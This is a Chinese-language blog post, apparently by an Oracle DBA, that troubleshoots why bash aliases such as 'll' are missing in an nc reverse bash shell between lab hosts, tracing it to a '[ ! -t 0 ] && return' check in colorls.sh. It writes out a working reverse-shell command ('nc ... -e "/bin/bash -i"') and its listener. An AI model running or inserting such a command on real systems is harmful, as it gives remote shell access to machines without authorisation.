[20230314]nc reverse bash shell alias.txt
[20230314]nc reverse bash shell alias.txt
--//前幾天測試,nc reverse bash shell時使用alias時遇到的問題,分析看看.
1.環境:
192.168.100.78 linux (Oracle Linux Server release 5.9)
192.168.98.6 windows
192.168.100.235 linux (Red Hat Enterprise Linux Server release 7.5 )
--//192.168.100.78 linux
--//192.168.100.235 linux
$ alias ll
alias ll='ls -l --color=auto --time-style=+"%Y-%m-%d %H:%M:%S"'
2.測試:
--//192.168.100.78 linux
$ nc -l 1234
--//192.168.100.235 linux
$ nc 192.168.100.78 1234 -e "/bin/bash -i"
--//--//192.168.100.78 linux,注意沒有提示符.
hostname
LIS-DB
ls
ora_audit_01423.bin
ora_audit_03399.bin
ora_audit_07.bin
sqlnet.log
alias rm
alias rm='/bin/rm -i --preserve-root'
alias ll
--//我很奇怪的是ll的別名不存在,但是rm的別名存在.為什麼?
--//如果檢查bash的執行,先後呼叫~/.bash_profile => ~/.bashrc => /etc/bashrc
--//在/etc/bashrc裡面有一段程式碼:
SHELL=/bin/bash
# Only display echos from profile.d scripts if we are no login shell
# and interactive - otherwise just process them to set envvars
for i in /etc/profile.d/*.sh; do
if [ -r "$i" ]; then
if [ "$PS1" ]; then
. "$i"
else
. "$i" >/dev/null
fi
fi
done
--//會依次呼叫/etc/profile.d/目錄裡面的*.sh.而ll的別名就存在檔案colorls.sh中.
alias ll='ls -l --color=auto --time-style=+"%Y-%m-%d %H:%M:%S"' 2>/dev/null
alias l.='ls -d .* --color=auto --time-style=+"%Y-%m-%d %H:%M:%S"' 2>/dev/null
alias ls='ls --color=auto --time-style=+"%Y-%m-%d %H:%M:%S"' 2>/dev/null
--//而我定義在/etc/profile.d/alias.sh目錄的別名都可以正常顯示.執行,為什麼ll不行呢.
alias zdate
alias zdate='date +"%Y/%m/%d %T"'
--//再仔細看colorls.sh程式碼的開始部分存在如下:
# color-ls initialization
# Skip all for noninteractive shells.
[ ! -t 0 ] && return
--//-t 解析如下:
-t FD file descriptor FD is opened on a terminal
--//也就是後面的語句根本沒有執行.簡單測試:
[ ! -t 0 ] && echo 1234
1234
echo $$
37162
ls -l /proc/37162/fd
total 0
lr-x------. 1 oracle oinstall 64 Mar 14 08:41 0 -> pipe:[2256008820]
l-wx------. 1 oracle oinstall 64 Mar 14 08:41 1 -> pipe:[2256008821]
lrwx------. 1 oracle oinstall 64 Mar 14 08:41 2 -> /dev/pts/2
lrwx------. 1 oracle oinstall 64 Mar 14 08:41 255 -> /dev/pts/2
lrwx------. 1 oracle oinstall 64 Mar 14 08:41 3 -> socket:[2256008819]
lr-x------. 1 oracle oinstall 64 Mar 14 08:41 4 -> pipe:[2256008820]
l-wx------. 1 oracle oinstall 64 Mar 14 08:41 7 -> pipe:[2256008821]
--//只有指向正常的終端裝置才不會指向後面的echo 1234.測試如下:
--//192.168.100.235 linux
# [ ! -t 0 ] && echo 1234
# ls -l /proc/$$/fd
total 0
lrwx------. 1 root root 64 2023-03-14 00:42:08 0 -> /dev/pts/1
lrwx------. 1 root root 64 2023-03-14 00:42:08 1 -> /dev/pts/1
lrwx------. 1 root root 64 2023-03-14 00:55:50 2 -> /dev/pts/1
lrwx------. 1 root root 64 2023-03-14 00:42:08 255 -> /dev/pts/1
--//當然解決很簡單,參考[20230310]nc reverse bash shell問題.txt=>http://blog.itpub.net/267265/viewspace-2939167/
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/267265/viewspace-2939490/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- [20230310]nc reverse bash shell問題.txt
- [20230309]nc reverse bash shell or cmd.exe(windows).txtWindows
- [20210908]Reverse Shell with Bash.txt
- shell Bash變數變數
- [20180930]bash shell &.txt
- Shell(Bash)學習· 總章
- bash shell多執行緒方案執行緒
- [20210913]bash shell $* and $@ 的區別.txt
- Linux深入探索04-Bash shellLinux
- [20201116]bash shell IO重定向.txt
- bash shell 程式與磁碟資料
- [20181212]bash shell 字串 補零.txt字串
- shell程式設計–bash變數程式設計變數
- [20231123]函式與bash shell呼叫.txt函式
- bash shell 無法使用 perl 正則
- shell和bash指令碼命令學習指令碼
- Linux中bash shell環境變數Linux變數
- [20201109]bash shell特殊算術方式.txt
- 執行shell指令碼報錯:-bash: ./test1.sh: /bin/bash^M: ...指令碼
- bash shell指令碼接受多個引數指令碼
- shell程式設計–bash變數介紹程式設計變數
- [20210324]bash shell value too great for base.txt
- [20181229]bash shell的算術運算 .txt
- Linux的bash shell與man檢視手冊Linux
- bash shell實現2048小遊戲詳解遊戲
- [20210618]記錄bash shell執行的命令.txt
- [20210330]bash使用source or ..呼叫shell指令碼注意txt指令碼
- fish:Linux中比bash或zsh更好用的ShellLinux
- [20231023]生成bbed的執行指令碼(bash shell).txt指令碼
- Bash Shell指令碼中的陣列使用例項指令碼陣列
- [20231109]bash shell快捷鍵alt+number的問題.txt
- [20231029]使用cygwin調式bash shell引出的問題.txt
- [20231102]除錯bash shell指令碼遇到的問題.txt除錯指令碼
- Mac 更改shell(bash 改為zsh)以及附帶環境Mac
- [20210906]沒有想到bash shell還可以這樣寫.txt
- [20210107]編寫bash shell指令碼遇到的問題.txt指令碼
- 跟我一起寫shell補全指令碼(Bash篇)指令碼
- shell指令碼頭,#!/bin/sh與#!/bin/bash的區別.指令碼